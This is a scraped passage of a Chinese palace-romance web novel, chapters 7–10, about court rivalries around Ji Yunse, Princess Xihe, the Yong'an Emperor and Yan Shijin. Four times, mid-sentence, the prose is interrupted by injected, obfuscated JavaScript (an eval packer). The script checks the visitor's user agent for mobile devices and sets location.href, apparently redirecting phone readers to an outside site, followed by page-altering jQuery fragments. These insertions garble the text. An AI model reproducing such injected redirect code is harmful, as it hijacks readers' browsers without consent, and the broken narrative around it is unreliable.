赵芷宁的祖父颐亲王曾经用过许多卑劣的手段参与储位之争,失败后被先帝圈禁,其父赵峋成年后主动与亲爹断绝关系,向永安帝示好,永安帝念其勤勉,任劳任怨多年,顾及兄弟情谊,封了个郡王给他。 赵芷宁与母亲又素来会奉承夏贤妃,所以这些年算是在皇室宗亲中站稳了脚跟,赵芷宁也得以入宫上学。 而身为一直追随永安帝鞍前马后的异母兄弟涟亲王之子,赵峥自然瞧不上他们一家。 他十分不屑道: “小爷我劝你,少做些狐假虎威仗势欺人之事!” 赵芷宁被他噎得说不出话来,却又不敢轻易得罪这位她得唤一声“叔叔”的霸道世子爷。 紫电看着这光景,大致也明白了几分,看来,自家主子相好,是被这帮贵女欺负了! 而涟亲王世子,大约是瞧着纪姑娘美貌,虽未看清全过程,却不管三七二十一,偏帮着纪姑娘。 说实话,他也曾耳闻,曦和公主仗着自己母亲是宫里位份最高的嫔妃,管理六宫,多有嚣张跋扈之态,没少作威作福,但不过都是些女子之间鸡毛蒜皮的小事而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156302|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已。 今日既有人受伤,自然不能轻易放过。 关键的是,她们合伙陷害主子的相好,这一点,紫电不能忍。 他看了看各执一词的几位贵女和涟亲王世子,一下抓住关键点: “对于泼水之人,和撞倒嘉蕙郡主之人是陆家婢女这一点,诸位可有异议?” 赵芷宁欲开口,又发现无法辩驳,毕竟热水确实经那婢女之手泼出,就算她们几个女子能歪曲黑白,但大庭广众之下,还有其他人看见。 而且,撞倒陆嘉蕙的,亦确实是她家婢女。至于纪云瑟那巴掌的作用,却是可有可无。 如今不是在贤妃娘娘面前,而是落在羽林卫手里,只能算是纪云瑟那个臭丫头走运。 其她几个贵女见公主和郡主都不在,剩下一个赵芷宁也是不顶事的,皆识趣不再开口。 见无人言语,紫电遂道: “此事,我会如实向指挥使大人复命,但这婢女是长公主府里的,受伤的又是她家郡主,我等不好拿人,还是送回长公主府里,由殿下亲自处理吧!” 说罢,向身旁的两个羽林卫使了个眼色,二人会意,将陆家婢女押走。 众人皆散去。 纪云瑟倒是意外,此事解决得如此顺畅,她先向赵峥福了一福,道了声谢,又行至紫电面前,道: “多谢大人明察秋毫。” 紫电忙摆手: “姑娘言重了,卑职不敢当。” “姑娘本就无辜,卑职亦不敢有负世子爷所托。” 说罢,抱拳行礼后离开。 纪云瑟却未想明白他这话的意思,是他家世子,晏时锦示意他帮自己? 怎么可能? 孙雪溶松了一口气,忙忙地拉着纪云瑟,说道: “幸好你没事,吓死我了。” 她入宫也有两年了,对曦和公主和陆嘉蕙一伙人的嚣张行径并非不了解,倒是第一次见有人能毫发无伤地从她们手心里逃脱。 但又颇有些担心道: “纪姑娘,你日后还是要多加小心,若是她们真的要对付你,未达目的,恐怕不会罢休。” 纪云瑟何尝不知道,回毓秀宫有什么等着她,故而,她更不想连累孙雪溶: “你快回去吧,别操心我了!” 看着她果断离去的背影,孙雪溶深深地叹了一口气,一个人抱着书笈,神情恹恹地往回走。 行至凤仪门附近时,忽见红墙角边,隐没着一小团雪白,走近一瞧,却是一只幼猫。 孙雪溶素来爱惜这些小动物花草,见幼猫蜷缩着十分可怜,顿生恻隐之心,放下了书笈,想去抱起它。 却不料,猫儿警惕地看了她一眼后,脱身跑了。 孙雪溶看它明显是行动不便,不知是冻着了还是饿着了,怕它出意外,只好追了上去,一路追到一座宫殿侧下的耳房,才抓住了这小东西。 孙雪溶将它抱起来,摸了摸它的毛发,委屈抱怨道: “你也是个没良心的么?” “我想对你好,跟你交朋友,你偏不理我!” 她想了想,幽幽地叹了口气: “其实我明白,她是为我好,怕连累我。” “刚才,若不是纪姑娘及时推开我,恐怕被水烫伤的就是我了。” “唉,你说,公主和郡主为何要这样针对纪姑娘?” “纪姑娘长得美,人也很好啊,她们为何会不喜欢她?” 她抱着猫儿蹲在墙角絮絮叨叨了许久,直到一片阴影慢慢地覆了上来,还伴随着一阵沉稳有力的脚步声。 孙雪溶浑身一颤,匆忙回头一瞧,仔细辨别来人的面孔后,更是吓得愣在原地。 8. 第 8 章 男子身着直领对襟及膝的黑狐皮氅衣,露着明黄缎内里,神情肃敛,高耸的眉峰下,一双灿若星辰的黑眸微眯,俯视着她,不怒自威。 孙雪溶抱着小猫怔怔地看了他片刻,在男子身后一个躬着身子手持拂尘的老内监轻咳了两声后,才反应过来,颤颤地跪下行礼,道: “臣,臣女,拜见陛下。” 少女俏脸煞白,眼眸中的恐慌几乎就要溢出来,仿佛下一瞬就要吓哭。 永安帝不禁蹙眉,自己看起来如此可怕么?他捏了捏手里的菩提手串,抬手道: “起来。” “你认识朕?” 他这些年除了看望太后,极少入后宫,看这小姑娘似有些眼熟,但一时想不起在哪里见过。 孙雪溶起身,紧靠着墙根才站稳脚步,低着脑袋声如蚊蚋: “孙太妃是臣女的姑祖母,臣女随太妃给太后娘娘请安时,见过陛下。” 孙太妃膝下无子,只有一女,早年被先帝送去了番邦和亲。永安帝见她人品醇厚,对太后亦恭顺勤谨,没有遣去冷宫或是送去守皇陵,而是留她在宫中好好奉养,与太后作伴。 永安帝看这小姑娘抱着猫儿缩在墙角,瑟瑟弱弱,好似他如豺狼虎豹一般,不知该气还是该笑,忍不住问道: “你怕朕?” 孙雪溶性子怯弱,又因自己在宫里的身份特殊,从来谨小慎微,秉着多一事不如少一事的行事,谁成想会在这里独自碰见皇帝? 就算碰见了,也是盼他立刻离开,万不要注意自己,谁知他怎的还要跟她说这些话? 她平日里脑子不活,嘴又笨,根本不知道怎么回答,不禁急得泪珠儿在眼眶里打转,只摇头: “没,没有……” “哦?” 永安帝甩了甩手串,似漫不经心,又似刨根究底。 什么意思?是不能怕他?还是…… 孙雪溶拼命忍着不让眼泪落下来,还是他看出了自己骗他么? 不至于给她定个欺君之罪吧? 怎么办?会不会诛九族? 他的声音听着平和,但天子的威严无法忽视,她坦白道: “只是一点点怕,而已……” 永安帝的声音听不出什么情绪: “为何怕朕?是因为朕长得面目狰狞?” 他也不知何故,突然就很想知道这个连面都不曾见过两回,他压根都没印象的小姑娘,为什么要怕他。 是因为天子与生俱来的威慑力,还是传说中的“伴君如伴虎”? 他自问不是一个暴君,在位十余年,颁布政令杀伐决断从不曾随心所欲,而是有理有据,亦没有苛待过嫔妃臣子,更不曾鱼肉百姓。 为何到最后他终究成了孤家寡人,成了让陌生小姑娘见之变色的“恶人”? 就连后宫嫔妃众多,也没有一个与他知己交心之人。 已逝的皇后是先帝为他选定的结发妻子,二人少年夫妻,算是相敬如宾,只可惜她生下皇长子后没两年就撒手而去,孩子也长到五岁夭折。 二皇子生母是皇后发现有孕后,为固宠送到龙床上的宫女,永安帝虽厌恶这做派,却不愿拂皇后的面子从了一次,等她生下赵檀,还是封了妃好好养在宫里。 贤妃夏氏的父亲是他的启蒙恩师,初入宫时她温柔恬淡,他亦真心待过她,谁知她接连生下赵檐与曦和后,却转了性子,有些事他心里清楚,不过是念着旧情,只要不涉及人命,不去计较而已。 其他几个妃嫔不是功臣之女,就是看在太后的情面上纳入的,他从前还觉得只宠幸了她们一两次便将她们冷落在后宫,是他这个做皇帝的无情,可如今看来,他才是那个可怜虫! 为了平衡朝堂和后宫,为了皇室开枝散叶,为了江山永固,他必须被迫与自己压根不喜欢的女子欢好,这就是人人艳羡的天子? 呵,可悲!可笑! 救命!孙雪溶真的要哭出来了,这样沉着脸不说话的皇帝,叫人如何不怕?他到底要怎样才会放过她? 手持拂尘立在一侧的司礼监首领内监江守忠向她投来了同情的目光,只能在心里默默叹气,谁让这小姑娘恰巧赶上陛下刚见了太后,心情不好呢? 太后娘娘自个儿的身子骨都那样了,还不忘给陛下身边添新人,他当然也明白,太后身为陛下的亲娘,见陛下这么多年不入后宫,愈发有孤独终老之意,自然急着给陛下找个可心之人。 可是,她老人家却不知道,陛下如今最不喜的,就是那些被硬塞入后宫的女子。 不管那人如何年轻美貌,陛下都不可能会纳,就算实在考虑着太后的身子,勉强答应了放在身边,最多就是宠信一回,便会远远丢开。 不过是,后宫多一个可怜之人罢了。 孙雪溶终是忍不住,眼眶的泪珠滑落,她抬眸看了一眼永安帝,使劲摇了摇头: “不,不是,陛下长得很好看。” 菩提子在男子劲长的指节中发出轻微的脆响,他放低了声量: “真的?” 孙雪溶见他神色缓和,深深地看了他一眼后,用力地点了点头: “千真万确,臣女不敢欺瞒陛下。” 这话倒真不算恭维。 她从前只是远远地看过这位天子一眼,并不敢多瞧,今日近距离打量,才发觉他生得剑眉星目,清秀隽永,虽年近四十,但整张脸光洁紧致,保养得极好,身材亦是高直劲瘦,看着不过三十,算得上一个美男子。 少女的眼角悬着泪珠,但表情极为认真,似为了证明自己没有说谎,竟大着胆子盯着他看了许久,第一次被小姑娘夸了长相的永安帝,终是忍不住弯了弯唇角: “好,朕信你。” 意识到自己刚才真的像个暴君一般,把小姑娘吓哭了,他不觉心生一丝歉疚,从袖口拿出一方绢帕递给她,道: “拿着,擦擦脸。” 孙雪溶犹豫着不敢动,但见他半日并不收回,慑于天子威厉,还是空出一只手颤着接过了,拭去了双颊的湿润。 永安帝松弛了神情,想起她的那番自言自语,便问道: “朕听你提起了沐昭,她怎么了?” “可是欺负你了?” “没有没有。” 孙雪溶赶紧摇了摇头,她再笨也知道疏不间亲的道理,他们是亲生父女,曦和公主素来又得宠,别说公主没有欺负她,就算有,她一个外人也断不敢直说。 永安帝一看这姑娘的表情,再想到赵沐昭素日的行事,已猜到了几分,但他也不至于在她面前苛责亲生女儿,便也作罢,道: “朕回养心阁,可要差人送你回去?” 孙雪溶赶紧摇头,屈膝道: “不用不用,多谢陛下,臣女恭送陛下!” 永安帝瞥了一眼她手里攥着的绢帕,“嗯”了一声,转身阔步离去。 看着一行人的背影消失在宫门外转角处,孙雪溶才大大地喘了几口气,用手里的帕子擦额头上的细汗。 猛然发觉,她手里握着的是皇帝的那方明黄的绢帕,待要追上去,早已来不及,又恐被人瞧见,忙收进了衣襟内,抱着与她一样被天子威严慑住的傻眼猫儿,去寻自己的书笈回宫。 江守忠看了一眼步伐轻快许多的永安帝,快走两步跟上他,眉开眼笑: “这姑娘是个难得的实心人儿。” 永安帝斜睨他一眼: “你个老货!” “在想什么?她才不过跟沐昭一般大!” 江守忠心底偷乐,他还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156303|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说什么呢,皇帝自己就往那方面想了,遂大着胆子道: “那郑贵人,如今也没裕王殿下大呢!” 永安帝皱了皱眉: “能一样么?” 江守忠笑而不答,肯定不一样!若是皇帝自己瞧上的,自然瞻前顾后,顾忌多,近乡情更怯嘛! 但他不敢再挑战帝王的底线,只是轻轻叹了口气,道: “可惜那姑娘命苦。” 永安帝放缓了脚步,觑了他一眼: “有话直说!” 江守忠老老实实道: “孙老尚书就一个嫡子,是这姑娘的爹,只可惜英年早逝,她娘也跟着去了,留下个孤女跟着庶出的叔伯,日子十分不好过。听说,就连她早先定下的与许翰林家的亲事也被抢去给了堂妹。” “孙太妃见她可怜,才求了太后,把她带入宫养着,想给她再寻一门好亲事。只可惜,世人对姑娘曾被退亲一事有些微词,故而十分艰难。” 永安帝沉下脸,剜了他一眼: “你知道的真多!” “跟朕说又有何用?朕能救得了几个可怜女子?” 见他拂袖而去,江守忠立马追上,笑着扇了自己两个嘴巴子: “是是是,怪奴才多嘴!” ~ 紫电遣了几名羽林卫护送受伤的嘉蕙郡主回长公主府,又将整个“案件”以卷宗公文的形式带去一份,一切安排妥当后,方回了国公府。 见晏时锦不在自己院子里,便问另一个侍从青霜,青霜道: “主子去荣晋堂了。” 紫电寻了过去,远远地瞧见正房外一众下人屏气凝神,低头垂手在外伺候,便知是国公爷与世子在说话,遂静候在一旁。 正房内,晏国公晏徇端坐主位,面色并不好看,晏时锦立在下首,抿唇不语。 片刻后,晏时锦道: “忠言逆耳,还望父亲三思。” 晏徇将手里的茶碗重重的放在一旁的方桌上: “怎么,翅膀硬了?” “儿子教训老子了?” 晏时锦实话实说道: “晏家已经烈火烹油,荣耀至极,根本无需贪图什么从龙之功,只需做到一个字,‘稳’!” “而且,父亲别忘了,陛下千秋正盛,或许,还有新的皇子出生。” 晏徇微愣,晏时锦俯首一躬: “还望父亲细思。” 晏徇轻嗤一声: “别光顾着说我,你自己的事呢?” “前些时日祖母给你选的那几位世家之女,都是端庄贤淑,品性温良的姑娘,就没有一个能入你的眼?” “我跟你这般年纪时,你三弟都出生了。” 晏时锦垂眸道: “太后病重,我无心婚配之事。” 晏徇道: “你只要选定人,其他事无需你操心。你尽早成了婚,太后娘娘也高兴,说不定就好了。” “况且淑月身子不好,国公府的庶务一直由老二媳妇掌管也不成体统,她又有了身孕。” 晏时锦不置可否,道: “时候不早了,父亲早些歇息。” “你小子……” 晏时锦自小主意大,又深得永安帝器重,晏徇虽名为其父,但很多事却做不了他的主,只得无奈摇头叹气, “过几日,让你祖母跟你说!” 片刻后,紫电在门外等到自家主子,忙上前汇报了一番,道: “世子放心,卷宗已送至陆府,纪姑娘无碍。” 眼前突然浮现一张与名门闺秀毫无关联的秾艳面孔,晏时锦一脸莫名其妙地睥了他一眼: “你很闲?” 紫电: “……” 9. 第 9 章 纪云瑟回到毓秀宫。 刚入宫门,玉拂已经在殿外等她,态度一点不客气地“请”她进入正殿: “公主在殿内等您。” 纪云瑟早料到这结果,并不意外,亦做好了被公主罚的准备,果不其然,赵沐昭一见她,随手扫过了手边的一个茶碗,摔在她面前。 “哐当”一声,纪云瑟绕过满地的碎瓷,上前淡然屈膝行礼: “不知公主的伤势如何,臣女特来探望。” 赵沐昭一见她那张八风不动的脸,就气不打一处来,上前就想抬手,却被纪云瑟握住她手臂,慢慢放下,柔声道: “公主小心,让臣女看看公主的伤口。” 在她怔然的目光中,纪云瑟慢慢掀起她的衣袖,看着原本瓷白肌肤上的一片鲜红和水泡,倒吸了一口凉气,故作十分怜惜道: “公主这些时日定要注意,别留下疤痕。” 赵沐昭没料到她竟然敢挡下自己打过去的手,正要发作,却听殿外有人通传: “贤妃娘娘到!” 她忿忿地看了纪云瑟一眼,忙忙地出去接驾,纪云瑟亦不敢怠慢,跟着步出殿门。 一位华冠丽服的中年妇人在宫人们的簇拥下走了进来,毓秀宫一行人皆行礼: “给贤妃娘娘请安!” 赵沐昭撒着娇扑了过去,眼角蓄着泪娇声唤道: “母妃……” 夏贤妃拍了拍她的背,温声哄道: “外面冷,进去再说。” 众人躬身让出一条道,赵沐昭扶着夏贤妃往正中主位上坐了,纪云瑟小心翼翼地垂手立在末侧。 夏贤妃第一时间看了赵沐昭的伤,目光中的心疼显而易见: “怎的伤得如此重?” “太医怎么说?” 玉晓忙回禀道: “太医说公主是轻微烫伤,每日及时上药,别碰了水,当无碍。” 赵沐昭瞪了她一眼,委屈道: “明明就是很严重,若是留下疤痕,女儿就不想活了!” 夏贤妃轻声喝道: “别胡说!” “好好养着,听太医的话,定不会有事。” 赵沐昭指着纪云瑟,忿忿道: “母妃,就是她,是她害女儿受伤的!” 夏贤妃“哦?”了一声,目光向纪云瑟看过来。 这位后宫品阶最高的嫔妃梳着凌云髻,上插累丝金凤镶猫眼宝石金簪,两侧是祖母绿石金步摇,身着橘黄绉丝面雀裘,圆润的脸庞,长眉秀目,薄唇微抿,不怒自威。 但不知是否太过操劳的缘故,夏贤妃的眼角有几道明显的皱纹,似乎与她三十几岁的年纪不太相符。 纪云瑟小心翼翼地上前,行了个礼,恭敬道: “请贤妃娘娘明察,臣女不敢。” “是嘉蕙郡主的婢女向臣女泼水,臣女躲开,那水,才泼到了公主身上。” 赵沐昭怒气冲冲: “你为何要躲?你不躲开,本宫就不会有事!” 纪云瑟对她的霸道无理十分无语,忍不住道: “趋吉避害是人之本能,臣女若是因此得罪公主,请贤妃娘娘和公主恕罪。” 赵沐昭摇着夏贤妃的手臂,带着哭腔说道: “母妃,您看看她说什么,您一定要罚她!” 纪云瑟早已做好了被罚的准备,却不料夏贤妃饮了一口茶,平静道: “纪大姑娘说得没错,昭儿,不可如此不讲理。” 赵沐昭愣了愣神, “母妃,您怎么……” 夏贤妃握住她的手,向她轻轻摇了摇头,看着纪云瑟道: “不过,昭儿的手有伤,日后的课业,恐怕就要纪大姑娘费心了。” 赵沐昭似懂了她的意思,思忖一瞬附和道: “不错,你不是很厉害么?今后,本宫的课业,全部都由你来做。” “还有,上年庄夫子让我们抄的《大学》和《论语》,本宫还没来得及抄,正好都交给你了!” 夏贤妃拍了拍赵沐昭的手背,向纪云瑟温言道: “你闲时要照顾太后,如今又要做公主的课业,辛苦了,歇息去吧。” “是,臣女遵命。” 纪云瑟躬身退下,只是有些奇怪,对于公主的伤来说,只是罚她替公主抄课业,显然太轻了些。 殿门缓缓关紧,赵沐昭十分不解道: “母妃,为何这样轻易放过了她?明明就是她……” 夏贤妃道: “母妃都听说了。昭儿,她虽不算清白,但此事,确因你自己谋算不足而失利。” 赵沐昭低下头,攥着衣角,不情不愿地点了点头。 夏贤妃严肃道: “此事,你该庆幸没有做成。” 赵沐昭十分不解: “为何?” “她若是毁了容,父皇就不可能瞧上她了呀!” 夏贤妃看着这个娇生惯养,没有半分心计的女儿,摇了摇头: “就算你真泼了热水在她身上又能怎样?” “烫伤本就不难治,到时候太后怜惜,你父皇心一软,反而促成了她!” 夏贤妃叹气道: “母妃早就与你说过,若无把握一击即中,让她无法翻身,就不要出手。否则,只会打草惊蛇,反而让她添了防备。” 赵沐昭道: “那您也不能轻易放过了她,该趁机好好罚她!” “总归她是在女儿宫里,罚了她,也没人知晓,她还敢找皇祖母告状不成?” 夏贤妃道: “昭儿,最近,你收敛一些。今日,你和嘉蕙受了伤,羽林卫亲查此事,你父皇必定会有所耳闻,你当他会猜不出里面的关窍,不知道谁是罪魁祸首么?” 赵沐昭一下顿住: “啊?那怎么办?” 父皇如今对她愈发严厉,早已没有了幼年时的各种宠溺,特别是杜嫔生下景和公主后,那小丫头片子仗着年幼,又惯会装乖讨好人,父皇对她的宠爱就更少了。 夏贤妃沉吟片刻: “无凭无据,只是怀疑的话,你父皇也不至于罚你。” “何况你又受了伤,陛下不是铁石心肠,你要想办法让他怜惜你。” “再者,陛下刚允了你三哥入勤政殿听政,你们兄妹一体,更要谨慎些,万不可一损俱损。” 赵沐昭有些丧气地“哦”了一声,但还是不甘心: “那纪云瑟呢?让她抄些课业就放了她?” “母妃,女儿咽不下这口气!” 夏贤妃一脸恨铁不成钢: “昭儿,孰轻孰重,你该知晓。” “纪家丫头的事,你不要再掺和了。” 她生怕这个头脑简单的女儿弄巧成拙。 “今日,太后又向你父皇提起了纳她为妃之事,但据你父皇的反应来看,他暂时不会顺太后的意。” 以她对永安帝的了解,这位天子表面温和,实则最恨被人掣肘,虽然太后举荐多半是真心想为他添个可心之人,并无它意,不过次数多了也必然引起永安帝的反感。 但前提是太后身子好的情况下,若是太后一时不好,永安帝说不定就会为讨她老人家欢心,直接答应了下来。 不管如何,那丫头留在宫里,始终是个祸害。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156304|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏贤妃将茶盏中的茶水饮尽,指尖摩挲着杯壁上的青花,道: “你不用管这事了,对于纪云瑟,我自有安排。” 让她永无翻身的可能! ~ 纪云瑟一出正殿,就看见了候在外的丁香,面色凝重,两只手攥着衣袖,看见她出来,才如释重负。 回到偏殿带上门,丁香为纪云瑟倒了一杯热水,松了一口气,道: “吓死奴婢了,奴婢还以为姑娘会被娘娘和公主重罚,幸好没事。” 纪云瑟也想不明白为何素来护短的夏贤妃,竟然轻易就放过了她。 丁香见她沉思不语,说道: “不过,姑娘也不必担心,想必是娘娘知道姑娘就要熬出头了,便不再为难姑娘了。” 纪云瑟眼皮一跳,抓住她的手,沉声问道: “你说什么?” 丁香不明白她为何一副惊恐的模样,忙笑道: “今日,奴婢去长春宫送东西,无意间听见贤妃娘娘与何掌宫说话,说是太后娘娘今日又跟陛下说起了姑娘,恐不久就要正式册封姑娘了。” 纪云瑟差点拿不住手里的茶盏,她双手撑在月牙桌上,一时六神无主,三魂差点去了七魄。 这就是夏贤妃今日轻易放了她的原因? 是因为忌惮她即将成为永安帝的妃嫔? 不,不可能! 这不是夏贤妃的行事作风! 纪云瑟深吸一口气,微微有些发颤的手倒了一杯茶饮尽,努力让自己冷静下来。 太后定是想趁自己身子尚康健时,说服陛下纳她,但若是陛下真的已经同意,也必然要知会她一声,不可能瞒着她。 极有可能是陛下尚未答应! 想到此,纪云瑟稍稍松了一口气,入宫以来,以她对那位天子的了解,他在朝堂是行事果决说一不二的铁腕帝王,绝不是会被人轻易制约拿捏之人,哪怕那个人是他的生母。 但是,夏贤妃知晓了此事,却会因此如临大敌,欲除她而后快! 丁香见她神色不对,诧异道: “姑娘,您怎么了?” 纪云瑟回过神,看着她关切的眼神,摇了摇头: “我没事。” “就是有些累了。” “那奴婢给您准备洗漱。” 她一面收拾着,一面笑道: “姑娘品貌无双,陛下定然会喜欢。等您做了皇妃,再生个皇子,就不会再有人欺负您了。” 纪云瑟只觉身心疲惫,躺在床上却怎么也睡不着,迷迷糊糊间,她似回到了家,躺在乳母秦氏的怀中,听她唱着哄睡的扬州童谣,就在纪云瑟安心地要睡过去时,父亲突然出现,命人将她推上马车: “你身为纪家长女,就该为纪家献身,为父母弟妹牺牲!” “况且,做陛下的妃嫔,也不算辱没了你!” 耳畔忽而传来抽泣声,循声望去,是一个年轻的妇人,她望着纪云瑟,捂着胸口哭泣: “好女儿,是娘没有照顾好你。” 是她的亲娘么?明明距离很近,可是纪云瑟却挪不动脚步,无法靠近她。 纪云瑟哭了,用手擦泪时,发现自己的手很小,原来她不过是个几岁的孩童,祖母出现了,紧紧搂住纪云瑟: “瑟儿不怕,祖母在这里。” 可下一瞬,祖母也不见了,所有的亲人都不见了,黑暗中只剩下她独自一人,任她哭得撕心裂肺,也得不到一丝回应…… 突然,前方亮起一道光,一个莫名有些熟悉的高大身影站在那里,她也不知为何,虽然看不清那个人的脸,却似看见救命稻草般地向他跑了过去…… 10. 第 10 章 一夜风雨不停,毓秀宫庭院内落红一片。 纪云瑟从乱糟糟的梦里醒来,丁香已经为她准备好了洗漱用的热水,盯着她的脸看了半晌: “姑娘,您的眼睛怎么了……” 纪云瑟揉着有些发胀的脑袋,起身穿好衣裳,撇了一眼铜镜,果然,双眼红肿得厉害。 她细细回忆了昨晚的梦,没想到竟真的在梦里哭了! “没事,不过是昨夜雨声太大,没有睡好而已。” 丁香为她拧了帕子过来,笑道: “许是姑娘想着今日能回府见家人,有些心急,才一夜没睡好。” 纪云瑟用湿帕子敷了敷眼睛,才想起来,前几日太后允她今儿个回家,准备明日祖母的祭日。 怪不得,昨夜她梦见了祖母,其他的模糊人影,倒记不真切了。 用了早膳,丁香提着食盒退下,许久方回来。 纪云瑟已经收拾妥当准备出门,问道: “公主醒了么?我得去跟她告别一声。” 赵沐昭受了伤,这些时日是不用去上学了,以她的脾性,定是要睡到日上三竿。 丁香小心看了她一眼,道: “不必了,姑娘,玉拂姑姑说,公主睡得沉,您直接回去就好。” 实属意料之中,赵沐昭想见她倒是怪了,纪云瑟听着窗外的雨声,穿上了那双太后赏赐她的羊皮小靴,问道: “寿康宫的人来了么?” 那天,太后特意吩咐了今日叫两名内监派个马车送她回去,算着应该快到了。 丁香踌躇片刻,终是抿了抿唇道: “奴婢也是听玉晓姐姐说,寿康宫的公公原本已经来了,但玉拂姑姑说毓秀宫正巧有人出宫采买,去的就是姑娘府上附近,可顺路送姑娘,便打发那两个公公回去了。” “谁知,才刚玉拂姑姑又说一时弄错了,他们要去的是城北的集市,且公主今日等着东西急用,就让他们先走了。” “又说宫里也没有其他人闲着,一时半会儿再找不出人送姑娘。” 她看着缄默不语的纪云瑟,小心问道: “要不要奴婢再去趟寿康宫,跟周嬷嬷说一声,请她再为姑娘您……” 纪云瑟摆摆手道: “不必了,我自己回去。” 她就知道,昨日的事,在曦和公主那儿没那么容易过去,却也不想因这些小事再去叨扰太后养病。 丁香取过油纸伞,道: “那奴婢送您到宫门口。” 正说着话,茴香在外敲门道: “丁香,玉拂姑姑找你有急事呢,让你快些过去!” 纪云瑟淡笑一声: “不用管我,你去吧!” 她已经十分了解那位刁蛮公主的个性,既然铁了心要给她使绊子,不达目的绝不会干休。罢了,不过多走几步路而已,难不倒她。 但是,当她独自撑着伞走在风雨中才发觉,确实比想象中要艰难许多。雨势越发猛烈,手中这把七十二骨的伞几乎无法阻挡狂风的肆虐。 刚走到宫门口,纪云瑟几乎浑身被雨淋湿,裙摆更是沾满了泥水。 她十分无奈地拭去了发丝上滑落的雨滴,看这雨势一时半会停不了,总不能在此躲雨耽搁时间,她只能冒雨前行,走出去再想法子租辆马车回家。 不多时,身后突然传来了马蹄声,纪云瑟回头一瞧,是一辆有宫里标记的马车正从雨幕中驶来。 她正好奇地看过去,驾马之人已经勒停马车,有些诧异地唤道: “纪姑娘?” 仔细一看,却是晏时锦身边的那个侍从。 “世子,是纪姑娘!” 他停下马车,掀开车帘,宽阔的车内正中,端坐着一个男子,顶着一张熟悉的淡漠峻脸,随着上翻的棉帘抬起眼眸,十分不耐地向她看了过来。 晏时锦下了早朝后,先去寿康宫探视了一回太后,陪她用了早膳,才出宫回京卫司衙门。 今日风雨交加,太后定要紫电驾马车护送他。谁知刚出宫门,就碰见了纪云瑟。 看样子,她是独自一人吃力地撑着伞遮挡风雨,似浑身湿透,狼狈不堪。 紫电不解道: “毓秀宫不是说有人送姑娘回去么?怎的……” 纪云瑟尴尬一笑,料想他们是在太后处,听见了那两个回去复命的公公说的话,她擦了擦两颊的雨水,看了一眼阴沉的天色,略思索一瞬,终是鼓起勇气向车内的人微微欠身,小心翼翼地问道: “晏世子,不知可否搭乘您的马车…嗯,请您顺路送我一程?” 章齐侯府在城西南,京卫司衙门在城东,顺路是顺不了一点的,紫电默默看向自家主子。 晏时锦已大致猜到了事情原委,以赵沐昭的行事作风,她昨日吃了那样的大亏,是不可能饶过纪云瑟,必是故意折磨她。 他素来厌恶后宫的这些阴暗做派。 男子面无表情,收回目光往一侧挪了挪,顺手拿起了一旁方桌上的一本书册,开始看起来。 就在纪云瑟以为他这是不答应的态度时,驾车的侍从笑嘻嘻地跳下马车,抬手示意道: “姑娘请!” 紫电十分了解自家主子,他行事爽利,最不喜多费口舌,像这种情况,他不开口反对,那就是答应了。 这就对了嘛,就算两人闹了小别扭,也断没有让相好的姑娘在外淋雨的道理,若是受凉生病了,心疼的还不是主子自己? 纪云瑟也不客气,将伞递给紫电后,提着裙摆上了马车,自觉地坐在了离晏时锦最远的一侧,先向他道了一声谢。 紫电体贴地放下了车帘,刻意放缓了驾车的速度。 纵使车速不快,车上的棉帘也够厚,但依旧有一阵阵冷风从缝隙内灌入,纪云瑟忍不住,连续捂着嘴打了两个喷嚏,她不禁抱紧了双臂,面露诚恳道: “昨日之事,也要多谢世子爷。” 谢他没有挟私报复她。 晏时锦并未抬头,翻了一页书册: “不必。” 这种女子之间鸡毛蒜皮的小事,他根本无暇过问,况且,他很清楚后宫的规则,这一次她侥幸逃脱,不一定是好事。 纪云瑟忽地瞥见了对面的座椅上有一件叠得整齐的绒毯,她侧眸看了一眼认真看着手册的男子,犹豫片刻后,她指着前方小声开口问道: “那个,我能用一下么?” 晏时锦闻言抬眸,见少女浑身淋湿,发丝尚滴着水,双眼红肿,似是哭了许久,十分窘迫。 纵是从前她刻意勾引自己,对他有所冒犯,但他堂堂一个男子,此时也犯不着与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 